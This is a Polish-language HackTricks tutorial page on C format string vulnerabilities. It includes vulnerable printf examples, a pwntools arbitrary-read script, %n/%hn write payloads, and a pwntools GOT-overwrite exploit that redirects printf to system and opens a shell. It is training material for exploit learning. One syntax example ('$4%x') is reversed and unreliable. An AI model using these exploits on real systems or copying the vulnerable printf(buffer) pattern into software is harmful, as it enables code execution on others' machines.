hacktricks/binary-exploitation/format-strings/README.md

9 KiB

Ciągi formatujące

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Podstawowe informacje

W języku C printf to funkcja, która może być używana do wyświetlania ciągu znaków. Pierwszym parametrem, którego oczekuje ta funkcja, jest surowy tekst z formatami. Następne parametry oczekiwane są jako wartości do podstawienia za formatery z surowego tekstu.

Podatność pojawia się, gdy tekst atakującego jest używany jako pierwszy argument tej funkcji. Atakujący będzie w stanie stworzyć specjalne dane wykorzystując możliwości ciągu formatującego printf, aby odczytać i zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu). Dzięki temu będzie mógł wykonać dowolny kod.

Formatery:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Przykłady:

  • Narażony przykład:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalne użycie:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Z Brakującymi Argumentami:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Dostęp do wskaźników

Format %<n>$x, gdzie n to liczba, pozwala wskazać funkcji printf, aby wybrała n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić w następujący sposób:

printf("%x %x %x %x")

i odczytałbyś od pierwszego do czwartego parametru.

Lub możesz:

printf("$4%x")

i przeczytaj bezpośrednio czwarty.

Zauważ, że atakujący kontroluje parametr printf, co oznacza, że jego dane wejściowe znajdą się na stosie podczas wywołania printf, co oznacza, że może wpisać konkretne adresy pamięci na stosie.

{% hint style="danger" %} Atakujący kontrolujący to wejście, będzie mógł dodać dowolny adres na stosie i sprawić, że printf będzie mógł się do nich odwołać. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie. {% endhint %}

Odczyt Dowolny

Możliwe jest użycie formatownika $n%s aby sprawić, że printf pobierze adres znajdujący się na pozycji n, a następnie wyświetli go jakby był to łańcuch znaków (wyświetli do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to 0x8048000, a wiemy, że dane użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wyświetlenie początku binarnego za pomocą:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Należy pamiętać, że nie można umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony zerem na końcu tego adresu. {% endhint %}

Arbitrary Write

Formatter $<num>%n zapisuje liczbę zapisanych bajtów pod wskazanym adresem w parametrze <num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie mógł spowodować, że $<num>%n zapisze dowolną liczbę pod dowolnym adresem.

Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, można użyć formatera %.<num-write>%<num>$n do zapisania liczby <num-write> w adresie wskazywanym przez pozycję num.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Jednakże zauważ, że zazwyczaj aby zapisać adres tak jak 0x08049724 (co jest OGROMną liczbą do zapisania naraz), używa się $hn zamiast $n. Pozwala to zapisać tylko 2 bajty. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najstarszych 2B adresu i drugi raz dla młodszych.

Ta podatność pozwala na zapisanie czegokolwiek pod dowolny adres (arbitrary write).

W tym przykładzie celem będzie nadpisanie adresu funkcji w tabeli GOT, która zostanie później wywołana. Chociaż można to wykorzystać do innych technik zapisu arbitralnego do wykonania:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Nadpiszemy funkcję, która przyjmuje swoje argumenty od użytkownika i wskażemy ją na funkcję system.
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: Najpierw zapisujesz 2 bajty adresu, a następnie pozostałe 2. Do tego używa się $hn.

  • HOB odnosi się do 2 najstarszych bajtów adresu
  • LOB odnosi się do 2 najmłodszych bajtów adresu

Następnie, ze względu na sposób działania łańcucha formatującego, musisz najpierw zapisać mniejszy z [HOB, LOB], a następnie drugi.

Jeśli HOB < LOB
[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Jeśli HOB > LOB
[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Szablon Pwntools

Możesz znaleźć szablon do przygotowania exploitu dla tego rodzaju podatności w:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Albo ten podstawowy przykład z tutaj:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Formatowanie łańcuchów do przepełnienia bufora

Możliwe jest nadużycie działań zapisu podatności na formatowanie łańcuchów do zapisywania adresów ze stosu i wykorzystanie podatności typu przepełnienie bufora.

Inne przykłady i odnośniki